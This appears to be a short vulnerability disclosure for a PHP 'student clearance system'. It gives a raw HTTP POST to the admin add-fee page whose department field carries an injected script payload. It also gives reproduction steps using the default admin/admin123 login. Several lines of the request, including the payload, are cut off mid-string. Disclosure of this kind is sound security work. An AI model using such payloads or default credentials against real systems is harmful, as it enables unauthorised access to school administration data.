

POC:

```
POST http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/add-fee.ph
Host: 192.168.0.111:91

Content-Length: 122

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.0.111:91

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Referer: http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/add-fe
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: PHPSESSID=rbcvgagjbbad1bbrbb62nukgmc

Connection: close

cmdsession=2020%2F2021&cmdfaculty=Select+faculty&cmddept=%22%3E%3Cscript%3Ealert%281
```

How to verify

Build the vulnerability environment according to the steps provided by the source code author (Log in with the default account and password:admin/admin123) and execute the Payload provided above.

The vulnerability is located at the "Fee Management - Add Fee" function, you should inserts Payload when you add new file, as shown in the following figure:



